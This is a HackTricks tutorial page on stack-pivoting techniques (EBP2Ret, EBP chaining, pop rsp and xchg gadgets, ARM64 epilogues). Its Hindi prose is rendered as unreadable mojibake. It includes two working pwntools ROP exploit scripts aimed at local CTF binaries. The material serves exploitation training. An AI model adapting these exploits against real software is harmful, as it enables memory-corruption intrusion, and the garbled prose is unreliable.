20 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
рдпрд╣ рддрдХрдиреАрдХ Base Pointer (EBP) рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ рддрд╛рдХрд┐ EBP рд░рдЬрд┐рд╕реНрдЯрд░ рдФрд░ leave; ret
рдирд┐рд░реНрджреЗрд╢ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╢реНрд░реГрдВрдЦрд▓рд╛рдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, leave
рдХрд╛ рдореВрд▓ рдЕрд░реНрде рд╣реИ:
mov ebp, esp
pop ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
рдпрд╣ рддрдХрдиреАрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрдм рдЖрдк EBP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди EIP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╕реАрдзреЗ рдмрджрд▓рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИред рдпрд╣ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рдж рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред
рдпрджрд┐, fvuln
рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди, рдЖрдк рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ рдирдХрд▓реА EBP рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдореЗрдореЛрд░реА рдХреЗ рдЙрд╕ рдХреНрд╖реЗрддреНрд░ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдкрдХрд╛ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдкрддрд╛ рд╕реНрдерд┐рдд рд╣реИ (рдкреНрд▓рд╕ 4 рдмрд╛рдЗрдЯреНрд╕ pop
рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП), рддреЛ рдЖрдк рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ EIP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬреИрд╕реЗ рд╣реА fvuln
рд▓реМрдЯрддрд╛ рд╣реИ, ESP рдХреЛ рдЗрд╕ рддреИрдпрд╛рд░ рд╕реНрдерд╛рди рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЕрдЧрд▓рд╛ pop
рдСрдкрд░реЗрд╢рди ESP рдХреЛ 4 рд╕реЗ рдШрдЯрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рд╡рд╣рд╛рдБ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рд╣реИред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ 2 рдкрддреЗ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: рд╡рд╣ рдЬрд╣рд╛рдБ ESP рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИ, рдЬрд╣рд╛рдБ рдЖрдкрдХреЛ рдЙрд╕ рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕ рдкрд░ ESP рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред
Exploit Construction
рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдПрдХ рдкрддрд╛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдордирдЪрд╛рд╣рд╛ рдбреЗрдЯрд╛ / рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред ESP рдпрд╣рд╛рдБ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рдкрд╣рд▓рд╛ ret
рдЪрд▓рд╛рдПрдЧрд╛ред
рдлрд┐рд░, рдЖрдкрдХреЛ рдЙрд╕ рдкрддреЗ рдХреЛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ ret
рджреНрд╡рд╛рд░рд╛ рдордирдЪрд╛рд╣рд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
- рдПрдХ рдорд╛рдиреНрдп ONE_GADGET рдкрддрд╛ред
system()
рдХрд╛ рдкрддрд╛ рдЙрд╕рдХреЗ рдмрд╛рдж 4 рдЬрдВрдХ рдмрд╛рдЗрдЯреНрд╕ рдФрд░"/bin/sh"
рдХрд╛ рдкрддрд╛ (x86 рдмрд┐рдЯреНрд╕)ред- рдПрдХ
jump esp;
рдЧреИрдЬреЗрдЯ (ret2esp) рдХрд╛ рдкрддрд╛ рдЙрд╕рдХреЗ рдмрд╛рдж рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЗрд▓рдХреЛрдбред - рдХреБрдЫ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ред
рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдирд┐рдпрдВрддреНрд░рд┐рдд рдореЗрдореЛрд░реА рдХреЗ рдХрд┐рд╕реА рднреА рдЗрди рдкрддреЗ рд╕реЗ рдкрд╣рд▓реЗ, 4
рдмрд╛рдЗрдЯреНрд╕ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ pop
рднрд╛рдЧ leave
рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╣реИред рдЗрди 4B рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рджреВрд╕рд░рд╛ рдирдХрд▓реА EBP рд╕реЗрдЯ рдХрд░рдирд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрдЧрд╛ред
Off-By-One Exploit
рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реВрдк "Off-By-One Exploit" рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдЖрдк рдХреЗрд╡рд▓ EBP рдХреЗ рд╕рдмрд╕реЗ рдХрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдЗрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдЬреЛ ret
рдХреЗ рд╕рд╛рде рдХреВрджрдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ, EBP рдХреЗ рд╕рд╛рде рдкрд╣рд▓реЗ рддреАрди рдмрд╛рдЗрдЯреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдорд╛рди рд╣реЗрд░рдлреЗрд░ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред
рдЖрдорддреМрд░ рдкрд░ рдЗрд╕реЗ 0x00 рдмрд╛рдЗрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдирд╛ рджреВрд░ рдХреВрдж рд╕рдХреЗред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ RET рд╕реНрд▓реЗрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдФрд░ рдЕрд╕рд▓реА ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рдЕрдВрдд рдореЗрдВ рд░рдЦрдирд╛ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛ рдХрд┐ рдирдпрд╛ ESP RET SLED рдХреЗ рдЕрдВрджрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗ рдФрд░ рдЕрдВрддрд┐рдо ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛред
EBP Chaining
рдЗрд╕рд▓рд┐рдП, рд╕реНрдЯреИрдХ рдХреЗ EBP
рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдореЗрдВ рдПрдХ рдирд┐рдпрдВрддреНрд░рд┐рдд рдкрддрд╛ рдбрд╛рд▓рдирд╛ рдФрд░ EIP
рдореЗрдВ leave; ret
рдХрд╛ рдкрддрд╛ рдбрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ рд╕реНрдЯреИрдХ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд EBP
рдкрддреЗ рдкрд░ ESP
рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
рдЕрдм, ESP
рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдЬреЛ рдПрдХ рдЗрдЪреНрдЫрд┐рдд рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓рд╛ рдирд┐рд░реНрджреЗрд╢ RET
рд╣реИред рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдпрдВрддреНрд░рд┐рдд ESP рд╕реНрдерд╛рди рдореЗрдВ рдпрд╣ рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
&(next fake EBP)
->leave
рдирд┐рд░реНрджреЗрд╢ рд╕реЗpop ebp
рдХреЗ рдХрд╛рд░рдг рдирдпрд╛ EBP рд▓реЛрдб рдХрд░реЗрдВsystem()
->ret
рджреНрд╡рд╛рд░рд╛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛&(leave;ret)
-> рд╕рд┐рд╕реНрдЯрдо рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдпрд╣ ESP рдХреЛ рдирдХрд▓реА EBP рдкрд░ рд▓реЗ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛&("/bin/sh")
->system
рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░
рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ рдЗрд╕ рддрд░реАрдХреЗ рд╕реЗ рдХрдИ рдирдХрд▓реА EBPs рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рдпрд╣ ret2lib рдХреА рддрд░рд╣ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ рд╕реНрдкрд╖реНрдЯ рд▓рд╛рдн рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдХреБрдЫ рдХрд┐рдирд╛рд░реЗ рдХреЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣рд╛рдБ рдПрдХ рдЪреБрдиреМрддреА рдХрд╛ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬреЛ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдПрдХ рд╕реНрдЯреИрдХ рд▓реАрдХ рдХреЗ рд╕рд╛рде рдПрдХ рд╡рд┐рдЬреЗрддрд╛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдпрд╣ рдкреГрд╖реНрда рд╕реЗ рдЕрдВрддрд┐рдо рдкреЗрд▓реЛрдб рд╣реИ:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛
рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрджрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рдХреБрдЫ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдХреЗ рд╕рд╛рде рд╕рдВрдХрд▓рд┐рдд рдХреА рдЧрдИ рд╣реИ, рддреЛ EBP рдХрднреА рднреА ESP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛, рдЗрд╕рд▓рд┐рдП, EBP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдореВрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХрд╛ рдХреЛрдИ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкреНрд░рднрд╛рд╡ рдирд╣реАрдВ рд╣реИред
рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░реЛрд▓реЙрдЧ рдФрд░ рдПрдкрд┐рд▓реЙрдЧ рдореЗрдВ рдмрджрд▓рд╛рд╡ рд╣реЛрддрд╛ рд╣реИ рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреНрдб рд╣реИред
- рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреНрдб рдирд╣реАрдВ:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- рдЕрдиреБрдХреВрд▓рд┐рдд:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
рдЕрдиреНрдп рддрд░реАрдХреЗ RSP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП
pop rsp
рдЧреИрдЬреЗрдЯ
рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдЪреБрдиреМрддреА рдХреЗ рд▓рд┐рдП 2 рд╡рд┐рд╢рд┐рд╖реНрдЯ рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛, рдФрд░ рд╡рд╣рд╛рдБ рдПрдХ pop rsp
рдЧреИрдЬреЗрдЯ рдерд╛ рдФрд░ рд╡рд╣рд╛рдБ рд╕реНрдЯреИрдХ рд╕реЗ рд▓реАрдХ рд╣реИ:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
рдпрд╣рд╛рдБ ret2esp рддрдХрдиреАрдХ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
рд╕рдВрджрд░реНрдн рдФрд░ рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 рдмрд┐рдЯреНрд╕, рдПрдХ rop рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рд╕рд╛рде рдПрдХ ret sled рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдСрдл рдмрд╛рдп рд╡рди рд╢реЛрд╖рдг
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 рдмрд┐рдЯ, рдХреЛрдИ relro, canary, nx рдФрд░ pie рдирд╣реАрдВред рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реНрдЯреИрдХ рдпрд╛ pie рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реАрдХ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ qword рдХрд╛ WWWред рдкрд╣рд▓реЗ рд╕реНрдЯреИрдХ рд▓реАрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ pie рд▓реАрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП WWW рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдлрд┐рд░ WWW рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╢рд╛рд╢реНрд╡рдд рд▓реВрдк рдмрдирд╛рдПрдВ рдЬреЛ
.fini_array
рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ +__libc_csu_fini
рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ (рдпрд╣рд╛рдБ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА). рдЗрд╕ "рд╢рд╛рд╢реНрд╡рдд" рд▓реЗрдЦрди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, .bss рдореЗрдВ рдПрдХ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛ рд▓рд┐рдЦреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдЕрдВрддрддрдГ рдЗрд╕реЗ RBP рдХреЗ рд╕рд╛рде рдкрд┐рд╡рдЯрд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
ARM64
ARM64 рдореЗрдВ, рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкреНрд░реЛрд▓реЙрдЧ рдФрд░ рдПрдкрд┐рд▓реЙрдЧ рд╕реНрдЯреИрдХ рдореЗрдВ SP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╕реНрдЯреЛрд░ рдФрд░ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, RET
рдирд┐рд░реНрджреЗрд╢ SP рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдкрддреЗ рдкрд░ рд╡рд╛рдкрд╕ рдирд╣реАрдВ рд▓реМрдЯрддрд╛, рдмрд▓реНрдХрд┐ x30
рдХреЗ рдЕрдВрджрд░ рдХреЗ рдкрддреЗ рдкрд░ рд▓реМрдЯрддрд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдХреЗрд╡рд▓ рдПрдкрд┐рд▓реЙрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк SP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдХреБрдЫ рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдЯреИрдХ рдХреЗ рдЕрдВрджрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗред рдФрд░ рдпрджрд┐ рдЖрдк SP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рднреА рдЖрдкрдХреЛ x30
рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЪрд╛рд╣рд┐рдПред
- рдкреНрд░реЛрд▓реЙрдЧ
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP рдлреНрд░реЗрдо рд░рд┐рдХреЙрд░реНрдб рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ
- рдПрдкрд┐рд▓реЙрдЧ
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
{% hint style="danger" %}
ARM64 рдореЗрдВ рд╕реНрдЯреИрдХ рдкрд┐рд╡рдЯрд┐рдВрдЧ рдХреЗ рд╕рдорд╛рди рдХреБрдЫ рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реЛрдЧрд╛ SP
рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛ (рдХрд┐рд╕реА рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдЬрд┐рд╕рдХрд╛ рдорд╛рди SP
рдХреЛ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ SP
рдЕрдкрдирд╛ рдкрддрд╛ рд╕реНрдЯреИрдХ рд╕реЗ рд▓реЗ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдУрд╡рд░рдлреНрд▓реЛ рд╣реИ) рдФрд░ рдлрд┐рд░ рдПрдкрд┐рд▓реЙрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ x30
рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд SP
рд╕реЗ рд▓реЛрдб рдХрд░рдирд╛ рдФрд░ RET
рдХрд░рдирд╛ред
{% endhint %}
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░ ARM64 рдореЗрдВ Ret2esp рдХрд╛ рд╕рдордХрдХреНрд╖ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
